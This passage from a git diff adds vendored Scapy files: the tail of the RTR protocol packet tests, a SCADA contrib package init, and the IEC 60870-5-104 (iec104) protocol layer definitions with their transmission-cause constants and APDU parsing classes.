b'E\x00\x00H\x00\x01\x00\x00@\x06|\xad\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x8f>\x00\x00\x01\t\x00\x00\x00"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + += default values build + +pkt = IP()/TCP(dport=323)/RTRRouterKey() +RTRRouterKey in pkt and pkt.zeros == 0 and pkt.subject_key_identifier == b'' and pkt.asn == 0 and pkt.subject_PKI == b'' + += filled values build + +pkt = IP()/TCP(dport=323)/RTRRouterKey(subject_key_identifier='7dd65f58882efc148edd', asn=45000, subject_PKI='Scapy ROA') +pkt.asn == 45000 and pkt.subject_PKI == b'Scapy ROA' and pkt.subject_key_identifier == b'7dd65f58882efc148edd' + += dissection +pkt = IP(b'E\x00\x00Q\x00\x01\x00\x00@\x06|\xa4\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00x\xe8\x00\x00\x01\t\x00\x00\x00+\x00\x007dd65f58882efc148edd\x00\x00\xaf\xc8Scapy ROA') +RTRRouterKey in pkt #and pkt.asn == 45000 and pkt.subject_PKI == b'Scapy ROA' and pkt.zeros == 0 and pkt.subject_key_identifier == b'7dd65f58882efc148edd' + ++ RTR Error Report + += default instantiation + +pkt = IP()/TCP(dport=323)/RTRErrorReport() +raw(pkt) == b'E\x00\x008\x00\x01\x00\x00@\x06|\xbd\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x90]\x00\x00\x00\n\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + += default values build + +pkt = IP()/TCP(dport=323)/RTRErrorReport() +RTRErrorReport in pkt and pkt.error_code == 0 and pkt.erroneous_PDU == b'' and pkt.error_text == b'' + += filled values build + +pkt = IP()/TCP(dport=323)/RTRErrorReport(error_code=1, error_text='Internal Error') +RTRErrorReport in pkt and pkt.error_code == 1and pkt.error_text == b'Internal Error' + += dissection + +pkt = IP(b'E\x00\x00F\x00\x01\x00\x00@\x06|\xaf\x7f\x00\x00\x01\x7f\x00\x00\x01 Z\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xdc\x15\x00\x00\x00\n\x00\x01\x00\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x0eInternal Error') +RTRErrorReport in pkt and pkt.error_code == 1and pkt.error_text == b'Internal Error' diff --git a/libs/scapy/contrib/scada/__init__.py b/libs/scapy/contrib/scada/__init__.py new file mode 100755 index 0000000..f3484de --- /dev/null +++ b/libs/scapy/contrib/scada/__init__.py @@ -0,0 +1,14 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Thomas Tannhaeuser +# This program is published under a GPLv2 license +# +# scapy.contrib.status = skip + + +# Package of contrib SCADA modules. + + +"""contains packages related to SCADA protocol layers.""" + +from scapy.contrib.scada.iec104 import * # noqa F403,F401 diff --git a/libs/scapy/contrib/scada/iec104/__init__.py b/libs/scapy/contrib/scada/iec104/__init__.py new file mode 100755 index 0000000..4faf5e8 --- /dev/null +++ b/libs/scapy/contrib/scada/iec104/__init__.py @@ -0,0 +1,638 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Thomas Tannhaeuser +# This program is published under a GPLv2 license +# +# scapy.contrib.description = IEC-60870-5-104 APCI / APDU layer definitions +# scapy.contrib.status = loads + +""" + IEC 60870-5-104 + ~~~~~~~~~~~~~~~ + + :description: + + This module provides the IEC 60870-5-104 (common short name: iec104) + layer, the information objects and related information element + definitions. + + normative references: + - IEC 60870-5-4:1994 (atomic base types / data format) + - IEC 60870-5-101:2003 (information elements (sec. 7.2.6) and + ASDU definition (sec. 7.3)) + - IEC 60870-5-104:2006 (information element TSC (sec. 8.8, p. 44)) + + :TODO: + - add allowed direction to IO attributes + (but this could be derived from the name easily <--> ) + - information elements / objects need more testing + (e.g. on live traffic w comparison against tshark) + + :NOTES: + - bit and octet numbering is used as in the related standards + (they usually start with index one instead of zero) + - some of the information objects are only valid for IEC 60870-5-101 - + so usually they should never appear on the network as iec101 uses + serial connections. I added them if decoding of those messages is + needed cause one goes to implement a iec101<-->iec104 gateway or + hits such a gateway that acts not standard conform (e.g. by + forwarding 101 messages to a 104 network) +""" + +from scapy.contrib.scada.iec104.iec104_fields import * # noqa F403,F401 +from scapy.contrib.scada.iec104.iec104_information_elements import * # noqa F403,F401 +from scapy.contrib.scada.iec104.iec104_information_objects import * # noqa F403,F401 + +from scapy.compat import orb +from scapy.config import conf +from scapy.error import warning, Scapy_Exception +from scapy.fields import ByteField, BitField, ByteEnumField, PacketListField, \ + BitEnumField, XByteField, FieldLenField, LEShortField, BitFieldLenField +from scapy.layers.inet import TCP +from scapy.packet import Raw, Packet, bind_layers + +IEC_104_IANA_PORT = 2404 + +# direction - from the central station to the substation +IEC104_CONTROL_DIRECTION = 0 +IEC104_CENTRAL_2_SUB_DIR = IEC104_CONTROL_DIRECTION + +# direction - from the substation to the central station +IEC104_MONITOR_DIRECTION = 1 +IEC104_SUB_2_CENTRAL_DIR = IEC104_MONITOR_DIRECTION + +IEC104_DIRECTIONS = { + IEC104_MONITOR_DIRECTION: 'monitor direction (sub -> central)', + IEC104_CONTROL_DIRECTION: 'control direction (central -> sub)', +} + +# COT - cause of transmission +IEC104_COT_UNDEFINED = 0 +IEC104_COT_CYC = 1 +IEC104_COT_BACK = 2 +IEC104_COT_SPONT = 3 +IEC104_COT_INIT = 4 +IEC104_COT_REQ = 5 +IEC104_COT_ACT = 6 +IEC104_COT_ACTCON = 7 +IEC104_COT_DEACT = 8 +IEC104_COT_DEACTCON = 9 +IEC104_COT_ACTTERM = 10 +IEC104_COT_RETREM = 11 +IEC104_COT_RETLOC = 12 +IEC104_COT_FILE = 13 +IEC104_COT_RESERVED_14 = 14 +IEC104_COT_RESERVED_15 = 15 +IEC104_COT_RESERVED_16 = 16 +IEC104_COT_RESERVED_17 = 17 +IEC104_COT_RESERVED_18 = 18 +IEC104_COT_RESERVED_19 = 19 +IEC104_COT_INROGEN = 20 +IEC104_COT_INRO1 = 21 +IEC104_COT_INRO2 = 22 +IEC104_COT_INRO3 = 23 +IEC104_COT_INRO4 = 24 +IEC104_COT_INRO5 = 25 +IEC104_COT_INRO6 = 26 +IEC104_COT_INRO7 = 27 +IEC104_COT_INRO8 = 28 +IEC104_COT_INRO9 = 29 +IEC104_COT_INRO10 = 30 +IEC104_COT_INRO11 = 31 +IEC104_COT_INRO12 = 32 +IEC104_COT_INRO13 = 33 +IEC104_COT_INRO14 = 34 +IEC104_COT_INRO15 = 35 +IEC104_COT_INRO16 = 36 +IEC104_COT_REQCOGEN = 37 +IEC104_COT_REQCO1 = 38 +IEC104_COT_REQCO2 = 39 +IEC104_COT_REQCO3 = 40 +IEC104_COT_REQCO4 = 41 +IEC104_COT_RESERVED_42 = 42 +IEC104_COT_RESERVED_43 = 43 +IEC104_COT_UNKNOWN_TYPE_CODE = 44 +IEC104_COT_UNKNOWN_TRANSMIT_REASON = 45 +IEC104_COT_UNKNOWN_COMMON_ADDRESS_OF_ASDU = 46 +IEC104_COT_UNKNOWN_ADDRESS_OF_INFORMATION_OBJECT = 47 +IEC104_COT_PRIVATE_48 = 48 +IEC104_COT_PRIVATE_49 = 49 +IEC104_COT_PRIVATE_50 = 50 +IEC104_COT_PRIVATE_51 = 51 +IEC104_COT_PRIVATE_52 = 52 +IEC104_COT_PRIVATE_53 = 53 +IEC104_COT_PRIVATE_54 = 54 +IEC104_COT_PRIVATE_55 = 55 +IEC104_COT_PRIVATE_56 = 56 +IEC104_COT_PRIVATE_57 = 57 +IEC104_COT_PRIVATE_58 = 58 +IEC104_COT_PRIVATE_59 = 59 +IEC104_COT_PRIVATE_60 = 60 +IEC104_COT_PRIVATE_61 = 61 +IEC104_COT_PRIVATE_62 = 62 +IEC104_COT_PRIVATE_63 = 63 + +CAUSE_OF_TRANSMISSIONS = { + IEC104_COT_UNDEFINED: 'undefined', + IEC104_COT_CYC: 'cyclic (per/cyc)', + IEC104_COT_BACK: 'background (back)', + IEC104_COT_SPONT: 'spontaneous (spont)', + IEC104_COT_INIT: 'initialized (init)', + IEC104_COT_REQ: 'request (req)', + IEC104_COT_ACT: 'activation (act)', + IEC104_COT_ACTCON: 'activation confirmed (actcon)', + IEC104_COT_DEACT: 'activation canceled (deact)', + IEC104_COT_DEACTCON: 'activation cancellation confirmed (deactcon)', + IEC104_COT_ACTTERM: 'activation finished (actterm)', + IEC104_COT_RETREM: 'feedback caused by remote command (retrem)', + IEC104_COT_RETLOC: 'feedback caused by local command (retloc)', + IEC104_COT_FILE: 'file transfer (file)', + IEC104_COT_RESERVED_14: 'reserved_14', + IEC104_COT_RESERVED_15: 'reserved_15', + IEC104_COT_RESERVED_16: 'reserved_16', + IEC104_COT_RESERVED_17: 'reserved_17', + IEC104_COT_RESERVED_18: 'reserved_18', + IEC104_COT_RESERVED_19: 'reserved_19', + IEC104_COT_INROGEN: 'queried by station (inrogen)', + IEC104_COT_INRO1: 'queried by query to group 1 (inro1)', + IEC104_COT_INRO2: 'queried by query to group 2 (inro2)', + IEC104_COT_INRO3: 'queried by query to group 3 (inro3)', + IEC104_COT_INRO4: 'queried by query to group 4 (inro4)', + IEC104_COT_INRO5: 'queried by query to group 5 (inro5)', + IEC104_COT_INRO6: 'queried by query to group 6 (inro6)', + IEC104_COT_INRO7: 'queried by query to group 7 (inro7)', + IEC104_COT_INRO8: 'queried by query to group 8 (inro8)', + IEC104_COT_INRO9: 'queried by query to group 9 (inro9)', + IEC104_COT_INRO10: 'queried by query to group 10 (inro10)', + IEC104_COT_INRO11: 'queried by query to group 11 (inro11)', + IEC104_COT_INRO12: 'queried by query to group 12 (inro12)', + IEC104_COT_INRO13: 'queried by query to group 13 (inro13)', + IEC104_COT_INRO14: 'queried by query to group 14 (inro14)', + IEC104_COT_INRO15: 'queried by query to group 15 (inro15)', + IEC104_COT_INRO16: 'queried by query to group 16 (inro16)', + IEC104_COT_REQCOGEN: 'queried by counter general interrogation (reqcogen)', + IEC104_COT_REQCO1: 'queried by query to counter group 1 (reqco1)', + IEC104_COT_REQCO2: 'queried by query to counter group 2 (reqco2)', + IEC104_COT_REQCO3: 'queried by query to counter group 3 (reqco3)', + IEC104_COT_REQCO4: 'queried by query to counter group 4 (reqco4)', + IEC104_COT_RESERVED_42: 'reserved_42', + IEC104_COT_RESERVED_43: 'reserved_43', + IEC104_COT_UNKNOWN_TYPE_CODE: 'unknown type code', + IEC104_COT_UNKNOWN_TRANSMIT_REASON: 'unknown transmit reason', + IEC104_COT_UNKNOWN_COMMON_ADDRESS_OF_ASDU: + 'unknown common address of ASDU', + IEC104_COT_UNKNOWN_ADDRESS_OF_INFORMATION_OBJECT: + 'unknown address of information object', + IEC104_COT_PRIVATE_48: 'private_48', + IEC104_COT_PRIVATE_49: 'private_49', + IEC104_COT_PRIVATE_50: 'private_50', + IEC104_COT_PRIVATE_51: 'private_51', + IEC104_COT_PRIVATE_52: 'private_52', + IEC104_COT_PRIVATE_53: 'private_53', + IEC104_COT_PRIVATE_54: 'private_54', + IEC104_COT_PRIVATE_55: 'private_55', + IEC104_COT_PRIVATE_56: 'private_56', + IEC104_COT_PRIVATE_57: 'private_57', + IEC104_COT_PRIVATE_58: 'private_58', + IEC104_COT_PRIVATE_59: 'private_59', + IEC104_COT_PRIVATE_60: 'private_60', + IEC104_COT_PRIVATE_61: 'private_61', + IEC104_COT_PRIVATE_62: 'private_62', + IEC104_COT_PRIVATE_63: 'private_63' +} + +IEC104_APDU_TYPE_UNKNOWN = 0x00 +IEC104_APDU_TYPE_I_SEQ_IOA = 0x01 +IEC104_APDU_TYPE_I_SINGLE_IOA = 0x02 +IEC104_APDU_TYPE_U = 0x03 +IEC104_APDU_TYPE_S = 0x04 + + +def _iec104_apci_type_from_packet(data): + """ + the type of the message is encoded in octet 1..4 + + oct 1, bit 1 2 oct 3, bit 1 + I Message 0 1|0 0 + S Message 1 0 0 + U Message 1 1 0 + + + see EN 60870-5-104:2006, sec. 5 (p. 13, fig. 6,7,8) + """ + + oct_1 = orb(data[2]) + oct_3 = orb(data[4]) + + oct_1_bit_1 = bool(oct_1 & 1) + oct_1_bit_2 = bool(oct_1 & 2) + oct_3_bit_1 = bool(oct_3 & 1) + + if oct_1_bit_1 is False and oct_3_bit_1 is False: + if len(data) < 8: + return IEC104_APDU_TYPE_UNKNOWN + + is_seq_ioa = ((orb(data[7]) & 0x80) == 0x80) + + if is_seq_ioa: + return IEC104_APDU_TYPE_I_SEQ_IOA + else: + return IEC104_APDU_TYPE_I_SINGLE_IOA + + if oct_1_bit_1 and oct_1_bit_2 is False and oct_3_bit_1 is False: + return IEC104_APDU_TYPE_S + + if oct_1_bit_1 and oct_1_bit_2 and oct_3_bit_1 is False: + return IEC104_APDU_TYPE_U + + return IEC104_APDU_TYPE_UNKNOWN + + +class IEC104_APDU(Packet): + """ + basic Application Protocol Data Unit definition used by S/U/I messages + """ + + def guess_payload_class(self, payload): + + payload_len = len(payload) + + if payload_len < 6: + return self.default_payload_class(payload) + + if orb(payload[0]) != 0x68: + self.default_payload_class(payload) + + # the length field contains the number of bytes starting from the + # first control octet + apdu_length = 2 + orb(payload[1]) + + if payload_len < apdu_length: + warning( + 'invalid len of APDU. given len: {} available len: {}'.format( + apdu_length, payload_len)) + return self.default_payload_class(payload) + + apdu_type = _iec104_apci_type_from_packet(payload) + + return IEC104_APDU_CLASSES.get(apdu_type, + self.default_payload_class(payload)) + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + """ + detect type of the message by checking packet data + :param _pkt: raw bytes of the packet layer data to be checked + :param args: unused + :param kargs: unused + :return: class of the detected message type + """ + + if _iec104_is_i_apdu_seq_ioa(_pkt): + return IEC104_I_Message_SeqIOA + + if _iec104_is_i_apdu_single_ioa(_pkt): + return IEC104_I_Message_SingleIOA + + if _iec104_is_u_apdu(_pkt): + return IEC104_U_Message + + if _iec104_is_s_apdu(_pkt): + return IEC104_S_Message + + return Raw + + +class IEC104_S_Message(IEC104_APDU): + """ + message used for ack of received I-messages + """ + name = 'IEC-104 S APDU' + + fields_desc = [ + + XByteField('start', 0x68), + ByteField("apdu_length", 4), + + ByteField('octet_1', 0x01), + ByteField('octet_2', 0), + IEC104SequenceNumber('rx_seq_num', 0), + ] + + +class IEC104_U_Message(IEC104_APDU): + """ + message used for connection tx control (start/stop) and monitoring (test) + """ + name = 'IEC-104 U APDU' + + fields_desc = [ + + XByteField('start', 0x68), + ByteField("apdu_length", 4), + + BitField('testfr_con', 0, 1), + BitField('testfr_act', 0, 1), + BitField('stopdt_con', 0, 1), + BitField('stopdt_act', 0, 1), + BitField('startdt_con', 0, 1), + BitField('startdt_act', 0, 1), + BitField('octet_1_1_2', 3, 2), + + ByteField('octet_2', 0), + ByteField('octet_3', 0), + ByteField('octet_4', 0) + ] + + +def _i_msg_io_dispatcher_sequence(pkt, next_layer_data): + """ + get the type id and return the matching ASDU instance + """ + next_layer_class_type = IEC104_IO_CLASSES.get(pkt.type_id, conf.raw_layer) + + return next_layer_class_type(next_layer_data) + + +def _i_msg_io_dispatcher_single(pkt, next_layer_data): + """ + get the type id and return the matching ASDU instance + (information object address + regular ASDU information object fields) + """ + next_layer_class_type = IEC104_IO_WITH_IOA_CLASSES.get(pkt.type_id, + conf.raw_layer) + + return next_layer_class_type(next_layer_data) + + +class IEC104ASDUPacketListField(PacketListField): + """ + used to add a list of information objects to an I-message + """ + def m2i(self, pkt, m): + """ + add calling layer instance to the cls()-signature + :param pkt: calling layer instance + :param m: raw data forming the next layer + :return: instance of the class representing the next layer + """ + return self.cls(pkt, m) + + +class IEC104_I_Message_StructureException(Scapy_Exception): + """ + Exception raised if payload is not of type Information Object + """ + pass + + +class IEC104_I_Message(IEC104_APDU): + """ + message used for transmitting data (APDU - Application Protocol Data Unit) + + APDU: MAGIC + APCI + ASDU + MAGIC: 0x68 + APCI : Control Information (rx/tx seq/ack numbers) + ASDU : Application Service Data Unit - information object related data + + see EN 60870-5-104:2006, sec. 5 (p. 12) + """ + name = 'IEC-104 I APDU' + + IEC_104_MAGIC = 0x68 # dec -> 104 + + SQ_FLAG_SINGLE = 0 + SQ_FLAG_SEQUENCE = 1 + + SQ_FLAGS = { + SQ_FLAG_SINGLE: 'single', + SQ_FLAG_SEQUENCE: 'sequence' + } + + TEST_DISABLED = 0 + TEST_ENABLED = 1 + + TEST_FLAGS = { + TEST_DISABLED: 'disabled', + TEST_ENABLED: 'enabled' + } + + ACK_POSITIVE = 0 + ACK_NEGATIVE = 1 + + ACK_FLAGS = { + ACK_POSITIVE: 'positive', + ACK_NEGATIVE: 'negative' + } + + fields_desc = [] + + def __init__(self, _pkt=b"", post_transform=None, _internal=0, + _underlayer=None, **fields): + + super(IEC104_I_Message, self).__init__(_pkt=_pkt, + post_transform=post_transform, + _internal=_internal, + _underlayer=_underlayer, + **fields) + + if 'io' in fields and fields['io']: + self._information_object_update(fields['io']) + + def _information_object_update(self, io_instances): + """ + set the type_id in the ASDU header based on the given information + object (io) and check for valid structure + :param io_instances: information object + """ + + if not isinstance(io_instances, list): + io_instances = [io_instances] + + first_io = io_instances[0] + first_io_class = first_io.__class__ + + if not issubclass(first_io_class, IEC104_IO_Packet): + raise IEC104_I_Message_StructureException( + 'information object payload must be a subclass of ' + 'IEC104_IO_Packet') + + self.type_id = first_io.iec104_io_type_id() + + # ensure all io elements within the ASDU share the same class type + for io_inst in io_instances[1:]: + if io_inst.__class__ != first_io_class: + raise IEC104_I_Message_StructureException( + 'each information object within the ASDU must be of ' + 'the same class type (first io: {}, ' + 'current io: {})'.format(first_io_class._name, + io_inst._name)) + + +class IEC104_I_Message_SeqIOA(IEC104_I_Message): + """ + all information objects share a base information object address field + + sq = 1, see EN 60870-5-101:2003, sec. 7.2.2.1 (p. 33) + """ + name = 'IEC-104 I APDU (Seq IOA)' + + fields_desc = [ + # APCI + XByteField('start', IEC104_I_Message.IEC_104_MAGIC), + FieldLenField("apdu_length", None, fmt="!B", length_of='io', + adjust=lambda pkt, x: x + 13), + + IEC104SequenceNumber('tx_seq_num', 0), + IEC104SequenceNumber('rx_seq_num', 0), + + # ASDU + ByteEnumField('type_id', 0, IEC104_IO_NAMES), + + BitEnumField('sq', IEC104_I_Message.SQ_FLAG_SEQUENCE, 1, + IEC104_I_Message.SQ_FLAGS), + BitFieldLenField('num_io', None, 7, count_of='io'), + + BitEnumField('test', 0, 1, IEC104_I_Message.TEST_FLAGS), + BitEnumField('ack', 0, 1, IEC104_I_Message.ACK_FLAGS), + BitEnumField('cot', 0, 6, CAUSE_OF_TRANSMISSIONS), + + ByteField('origin_address', 0), + + LEShortField('common_asdu_address', 0), + + LEThreeBytesField('information_object_address', 0), + + IEC104ASDUPacketListField('io', + conf.raw_layer(), + _i_msg_io_dispatcher_sequence, + length_from=lambda pkt: pkt.apdu_length - 13) + ] + + def post_dissect(self, s): + if self.type_id == IEC104_IO_ID_C_RD_NA_1: + + # IEC104_IO_ID_C_RD_NA_1 has no payload. we will add the layer + # manually to the stack right now. we do this num_io times + # as - even if it makes no sense - someone could decide + # to add more than one read commands in a sequence... + setattr(self, 'io', [IEC104_IO_C_RD_NA_1()] * self.num_io) + + return s + + +class IEC104_I_Message_SingleIOA(IEC104_I_Message): + """ + every information object contains an individual information object + address field + + sq = 0, see EN 60870-5-101:2003, sec. 7.2.2.1 (p. 33) + """ + name = 'IEC-104 I APDU (single IOA)' + + fields_desc = [ + # APCI + XByteField('start', IEC104_I_Message.IEC_104_MAGIC), + FieldLenField("apdu_length", None, fmt="!B", length_of='io', + adjust=lambda pkt, x: x + 10), + + IEC104SequenceNumber('tx_seq_num', 0), + IEC104SequenceNumber('rx_seq_num', 0), + + # ASDU + ByteEnumField('type_id', 0, IEC104_IO_NAMES), + + BitEnumField('sq', IEC104_I_Message.SQ_FLAG_SINGLE, 1, + IEC104_I_Message.SQ_FLAGS), + BitFieldLenField('num_io', None, 7, count_of='io'), + + BitEnumField('test', 0, 1, IEC104_I_Message.TEST_FLAGS), + BitEnumField('ack', 0, 1, IEC104_I_Message.ACK_FLAGS), + BitEnumField('cot', 0, 6, CAUSE_OF_TRANSMISSIONS), + + ByteField('origin_address', 0), + + LEShortField('common_asdu_address', 0), + + IEC104ASDUPacketListField('io', + conf.raw_layer(), + _i_msg_io_dispatcher_single, + length_from=lambda pkt: pkt.apdu_length - 10) + ] + + +IEC104_APDU_CLASSES = { + IEC104_APDU_TYPE_UNKNOWN: conf.raw_layer, + IEC104_APDU_TYPE_I_SEQ_IOA: IEC104_I_Message_SeqIOA, + IEC104_APDU_TYPE_I_SINGLE_IOA: IEC104_I_Message_SingleIOA, + IEC104_APDU_TYPE_U: IEC104_U_Message, + IEC104_APDU_TYPE_S: IEC104_S_Message +} + + +def _iec104_is_i_apdu_seq_ioa(payload): + len_payload = len(payload) + if len_payload < 6: + return False + + if orb(payload[0]) != 0x68 or ( + orb(payload[1]) + 2) > len_payload or len_payload < 8: + return False + + return IEC104_APDU_TYPE_I_SEQ_IOA == _iec104_apci_type_from_packet(payload) + + +def _iec104_is_i_apdu_single_ioa(payload): + len_payload = len(payload) + if len_payload < 6: + return False + + if orb(payload[0]) != 0x68 or ( + orb(payload[1]) + 2) > len_payload or len_payload < 8: + return False + + return IEC104_APDU_TYPE_I_SINGLE_IOA == _iec104_apci_type_from_packet( + payload) + + +def _iec104_is_u_apdu(payload): + if len(payload) < 6: + return False + + if orb(payload[0]) != 0x68 or orb(payload[1]) != 4: + return False + + return IEC104_APDU_TYPE_U == _iec104_apci_type_from_packet(payload) + + +def _iec104_is_s_apdu(payload): + if len(payload) < 6: + return False + + if orb(payload[0]) != 0x68 or orb(payload[1]) != 4: + return False + + return IEC104_APDU_TYPE_S == _iec104_apci_type_from_packet(payload) + + +def iec104_decode(payload): + """ + can be used to dissect payload of a TCP connection + :param payload: the application layer data (IEC104-APDU(s)) + :return: iec104 (I/U/S) message instance, conf.raw_layer() if unknown + """ + + if _iec104_is_i_apdu_seq_ioa(payload): + return IEC104_I_Message_SeqIOA(payload) + elif _iec104_is_i_apdu_single_ioa(payload): + return IEC104_I_Message_SingleIOA(payload) + elif _iec104_is_s_apdu(payload): + return IEC104_S_Message(payload) + elif _iec104_is_u_apdu(payload): + return IEC104_U_Message(payload) + else: + return conf.raw_layer(payload) + + +bind_layers(TCP, IEC104_APDU, sport=IEC_104_IANA_PORT) +bind_layers(TCP, IEC104_APDU, dport=IEC_104_IANA_PORT) diff --git a/libs/scapy/contrib/scada/iec104/iec104.py b/libs/scapy/contrib/scada/iec104/iec104.py new file mode 100755 index 0000000..b1d17ab --- /dev/null +++ b/libs/scapy/contrib/scada/iec104/iec104.py @@ -0,0 +1,645 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Thomas Tannhaeuser +# This program is published under a GPLv2 license +# +# scapy.contrib.description = IEC-60870-5-104 APCI / APDU layer definitions +# scapy.contrib.status = loads + +""" + IEC 60870-5-104 + ~~~~~~~~~~~~~~~ + + :description: + + This module provides the IEC 60870-5-104 (common short name: iec104) + layer, the information objects and related information element + definitions. + + normative references: + - IEC 60870-5-4:1994 (atomic base types / data format) + - IEC 60870-5-101:2003 (information elements (sec. 7.2.6) and + ASDU definition (sec. 7.3)) + - IEC 60870-5-104:2006 (information element TSC (sec. 8.8, p. 44)) + + :TODO: + - add allowed direction to IO attributes + (but this could be derived from the name easily <--> ) + - information elements / objects need more testing + (e.g. on live traffic w comparison against tshark) + + :NOTES: + - bit and octet numbering is used as in the related standards + (they usually start with index one instead of zero) + - some of the information objects are only valid for IEC 60870-5-101 - + so usually they should never appear on the network as iec101 uses + serial connections. I added them if decoding of those messages is + needed cause one goes to implement a iec101<-->iec104 gateway or + hits such a gateway that acts not standard conform (e.g. by + forwarding 101 messages to a 104 network) +""" + +from scapy.compat import orb + +from scapy.contrib.scada.iec104.iec104_fields import LEThreeBytesField, \ + IEC104SequenceNumber +from scapy.contrib.scada.iec104.iec104_information_objects import \ + IEC104_IO_NAMES, IEC104_IO_WITH_IOA_CLASSES, \ + IEC104_IO_CLASSES, IEC104_IO_ID_C_RD_NA_1, IEC104_IO_C_RD_NA_1 + +from scapy.config import conf +from scapy.contrib.scada.iec104.iec104_information_objects import \ + IEC104_IO_Packet +from scapy.error import warning, Scapy_Exception +from scapy.fields import ByteField, BitField, ByteEnumField, PacketListField, \ + BitEnumField, XByteField, FieldLenField, LEShortField, BitFieldLenField + +from scapy.layers.inet import TCP +from scapy.packet import Raw +from scapy.packet import Packet, bind_layers + +IEC_104_IANA_PORT = 2404 + +# direction - from the central station to the substation +IEC104_CONTROL_DIRECTION = 0 +IEC104_CENTRAL_2_SUB_DIR = IEC104_CONTROL_DIRECTION + +# direction - from the substation to the central station +IEC104_MONITOR_DIRECTION = 1 +IEC104_SUB_2_CENTRAL_DIR = IEC104_MONITOR_DIRECTION + +IEC104_DIRECTIONS = { + IEC104_MONITOR_DIRECTION: 'monitor direction (sub -> central)', + IEC104_CONTROL_DIRECTION: 'control direction (central -> sub)', +} + +# COT - cause of transmission +IEC104_COT_UNDEFINED = 0 +IEC104_COT_CYC = 1 +IEC104_COT_BACK = 2 +IEC104_COT_SPONT = 3 +IEC104_COT_INIT = 4 +IEC104_COT_REQ = 5 +IEC104_COT_ACT = 6 +IEC104_COT_ACTCON = 7 +IEC104_COT_DEACT = 8 +IEC104_COT_DEACTCON = 9 +IEC104_COT_ACTTERM = 10 +IEC104_COT_RETREM = 11 +IEC104_COT_RETLOC = 12 +IEC104_COT_FILE = 13 +IEC104_COT_RESERVED_14 = 14 +IEC104_COT_RESERVED_15 = 15 +IEC104_COT_RESERVED_16 = 16 +IEC104_COT_RESERVED_17 = 17 +IEC104_COT_RESERVED_18 = 18 +IEC104_COT_RESERVED_19 = 19 +IEC104_COT_INROGEN = 20 +IEC104_COT_INRO1 = 21 +IEC104_COT_INRO2 = 22 +IEC104_COT_INRO3 = 23 +IEC104_COT_INRO4 = 24 +IEC104_COT_INRO5 = 25 +IEC104_COT_INRO6 = 26 +IEC104_COT_INRO7 = 27 +IEC104_COT_INRO8 = 28 +IEC104_COT_INRO9 = 29 +IEC104_COT_INRO10 = 30 +IEC104_COT_INRO11 = 31 +IEC104_COT_INRO12 = 32 +IEC104_COT_INRO13 = 33 +IEC104_COT_INRO14 = 34 +IEC104_COT_INRO15 = 35 +IEC104_COT_INRO16 = 36 +IEC104_COT_REQCOGEN = 37 +IEC104_COT_REQCO1 = 38 +IEC104_COT_REQCO2 = 39 +IEC104_COT_REQCO3 = 40 +IEC104_COT_REQCO4 = 41 +IEC104_COT_RESERVED_42 = 42 +IEC104_COT_RESERVED_43 = 43 +IEC104_COT_UNKNOWN_TYPE_CODE = 44 +IEC104_COT_UNKNOWN_TRANSMIT_REASON = 45 +IEC104_COT_UNKNOWN_COMMON_ADDRESS_OF_ASDU = 46 +IEC104_COT_UNKNOWN_ADDRESS_OF_INFORMATION_OBJECT = 47 +IEC104_COT_PRIVATE_48 = 48 +IEC104_COT_PRIVATE_49 = 49 +IEC104_COT_PRIVATE_50 = 50 +IEC104_COT_PRIVATE_51 = 51 +IEC104_COT_PRIVATE_52 = 52 +IEC104_COT_PRIVATE_53 = 53 +IEC104_COT_PRIVATE_54 = 54 +IEC104_COT_PRIVATE_55 = 55 +IEC104_COT_PRIVATE_56 = 56 +IEC104_COT_PRIVATE_57 = 57 +IEC104_COT_PRIVATE_58 = 58 +IEC104_COT_PRIVATE_59 = 59 +IEC104_COT_PRIVATE_60 = 60 +IEC104_COT_PRIVATE_61 = 61 +IEC104_COT_PRIVATE_62 = 62 +IEC104_COT_PRIVATE_63 = 63 + +CAUSE_OF_TRANSMISSIONS = { + IEC104_COT_UNDEFINED: 'undefined', + IEC104_COT_CYC: 'cyclic (per/cyc)', + IEC104_COT_BACK: 'background (back)', + IEC104_COT_SPONT: 'spontaneous (spont)', + IEC104_COT_INIT: 'initialized (init)', + IEC104_COT_REQ: 'request (req)', + IEC104_COT_ACT: 'activation (act)', + IEC104_COT_ACTCON: 'activation confirmed (actcon)', + IEC104_COT_DEACT: 'activation canceled (deact)', + IEC104_COT_DEACTCON: 'activation cancellation confirmed (deactcon)', + IEC104_COT_ACTTERM: 'activation finished (actterm)', + IEC104_COT_RETREM: 'feedback caused by remote command (retrem)', + IEC104_COT_RETLOC: 'feedback caused by local command (retloc)', + IEC104_COT_FILE: 'file transfer (file)', + IEC104_COT_RESERVED_14: 'reserved_14', + IEC104_COT_RESERVED_15: 'reserved_15', + IEC104_COT_RESERVED_16: 'reserved_16', + IEC104_COT_RESERVED_17: 'reserved_17', + IEC104_COT_RESERVED_18: 'reserved_18', + IEC104_COT_RESERVED_19: 'reserved_19', + IEC104_COT_INROGEN: 'queried by station (inrogen)', + IEC104_COT_INRO1: 'queried by query to group 1 (inro1)', + IEC104_COT_INRO2: 'queried by query to group 2 (inro2)', + IEC104_COT_INRO3: 'queried by query to group 3 (inro3)', + IEC104_COT_INRO4: 'queried by query to group 4 (inro4)', + IEC104_COT_INRO5: 'queried by query to group 5 (inro5)', + IEC104_COT_INRO6: 'queried by query to group 6 (inro6)', + IEC104_COT_INRO7: 'queried by query to group 7 (inro7)', + IEC104_COT_INRO8: 'queried by query to group 8 (inro8)', + IEC104_COT_INRO9: 'queried by query to group 9 (inro9)', + IEC104_COT_INRO10: 'queried 